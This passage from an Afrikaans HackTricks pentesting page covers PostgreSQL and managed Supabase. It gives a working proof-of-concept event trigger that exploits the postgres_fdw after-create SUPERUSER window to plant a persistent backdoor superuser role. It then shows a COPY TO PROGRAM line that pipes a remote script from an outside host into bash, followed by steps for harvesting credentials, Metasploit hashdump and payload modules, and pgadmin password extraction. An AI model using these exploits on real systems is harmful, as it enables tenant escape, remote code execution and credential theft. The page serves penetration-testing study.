Beheerde Supabase-implementasies steun op die supautils extension om CREATE EXTENSION te omsluit met provider-beheerde before-create.sql/after-create.sql skripte wat as ware superusers uitgevoer word. Die postgres_fdw after-create skrip gee kortliks die opdrag ALTER ROLE postgres SUPERUSER, voer ALTER FOREIGN DATA WRAPPER postgres_fdw OWNER TO postgres uit, en herstel dan postgres terug na NOSUPERUSER. Omdat ALTER FOREIGN DATA WRAPPER ddl_command_start/ddl_command_end event triggers aktiveer terwyl current_user superuser is, kan deur tenants geskepte triggers in daardie venster aanvaller-SQL uitvoer.
Exploit flow:
- Skep ân PL/pgSQL event trigger funksie wat
SELECT usesuper FROM pg_user WHERE usename = current_userkontroleer en, wanneer dit waar is, ân backdoor role voorsien (bv.CREATE ROLE priv_esc WITH SUPERUSER LOGIN PASSWORD 'temp123'). - Registreer die funksie op beide
ddl_command_startenddl_command_end. DROP EXTENSION IF EXISTS postgres_fdw CASCADE;gevolg deurCREATE EXTENSION postgres_fdw;om Supabase se after-create hook weer uit te voer.- Wanneer die hook
postgresna SUPERUSER verhoog, voer die trigger uit, skep die volhoubare SUPERUSER-rol, en gee dit terug aanpostgresvir maklikeSET ROLEtoegang.
Event trigger PoC vir die postgres_fdw after-create venster
```sql CREATE OR REPLACE FUNCTION escalate_priv() RETURNS event_trigger AS $$ DECLARE is_super BOOLEAN; BEGIN SELECT usesuper INTO is_super FROM pg_user WHERE usename = current_user; IF is_super THEN BEGIN EXECUTE 'CREATE ROLE priv_esc WITH SUPERUSER LOGIN PASSWORD ''temp123'''; EXCEPTION WHEN duplicate_object THEN NULL; END; BEGIN EXECUTE 'GRANT priv_esc TO postgres'; EXCEPTION WHEN OTHERS THEN NULL; END; END IF; END; $$ LANGUAGE plpgsql;DROP EVENT TRIGGER IF EXISTS log_start CASCADE; DROP EVENT TRIGGER IF EXISTS log_end CASCADE; CREATE EVENT TRIGGER log_start ON ddl_command_start EXECUTE FUNCTION escalate_priv(); CREATE EVENT TRIGGER log_end ON ddl_command_end EXECUTE FUNCTION escalate_priv();
DROP EXTENSION IF EXISTS postgres_fdw CASCADE; CREATE EXTENSION postgres_fdw;
</details>
Supabase se poging om unsafe triggers te skip kontroleer slegs ownership, dus maak seker dat die trigger function owner jou low-privileged role is, maar die payload word slegs uitgevoer wanneer die hook `current_user` in SUPERUSER omskakel. Omdat die trigger by toekomstige DDL weer uitgevoer word, dien dit ook as 'n self-healing persistence backdoor elke keer wanneer die provider tenant roles kortliks verhoog.
### Omskep kortstondige SUPERUSER toegang in host compromise
Nadat `SET ROLE priv_esc;` suksesvol is, herhaal vroeër geblokkeerde primitives:
```sql
INSERT INTO public.ai_models(model_name, config)
VALUES ('hostname', to_jsonb(pg_read_file('/etc/hostname', 0, 100)));
COPY (SELECT '') TO PROGRAM 'curl https://rce.ee/rev.sh | bash';
pg_read_file/COPY ... TO PROGRAM voorsien nou arbitrĂȘre lĂȘertoegang en opdraguitvoering as die database OS-rekening. Volg op met standaard host privilege escalation:
find / -perm -4000 -type f 2>/dev/null
Deur ân verkeerd gekonfigureerde SUID binary of ân skryfbare config te misbruik, kry jy root. Sodra jy root is, oes orchestration credentials (systemd unit env files, /etc/supabase, kubeconfigs, agent tokens) om laterally te pivot oor die provider se region.
POST
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload
logboeke
In die postgresql.conf lĂȘer kan jy postgresql logboeke aktiveer deur die volgende te verander:
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
Dan, herbegin die diens.
pgadmin
pgadmin is ân administrasie- en ontwikkelingsplatform vir PostgreSQL.
Jy kan passwords vind binne die pgadmin4.db lĂȘer
Jy kan dit ontsleutel deur die decrypt funksie binne die skrip te gebruik: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db
pg_hba
KliĂ«ntverifikasie in PostgreSQL word bestuur deur ân konfigurasielĂȘer genaamd pg_hba.conf. Hierdie lĂȘer bevat ân reeks rekords, elkeen wat ân verbindingstipe, kliĂ«nt-IP-adresreeks (indien van toepassing), databasenaam, gebruikersnaam, en die verifikasiemetode wat gebruik moet word om verbindings te pas, spesifiseer. Die eerste rekord wat ooreenstem met die verbindingstipe, kliĂ«ntadres, versoekte databasis en gebruikersnaam, word vir verifikasie gebruik. Daar is geen terugvalopsie as verifikasie misluk nie. As geen rekord ooreenstem nie, word toegang geweier.
Die beskikbare wagwoordgebaseerde verifikasiemetodes in pg_hba.conf is md5, crypt, en password. Hierdie metodes verskil in hoe die wagwoord oorgedra word: MD5-gehash, crypt-gesifreer, of duidelike teks. Dit is belangrik om te let dat die crypt-metode nie gebruik kan word met wagwoorde wat in pg_authid versleutel is nie.
Verwysings
- SupaPwn: Hacking Our Way into Lovableâs Office and Helping Secure Supabase
- HTB: DarkCorp by 0xdf
- PayloadsAllTheThings: PostgreSQL Injection - Using COPY TO/FROM PROGRAM
- Postgres SQL injection to RCE with archive_command (The Gray Area)
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

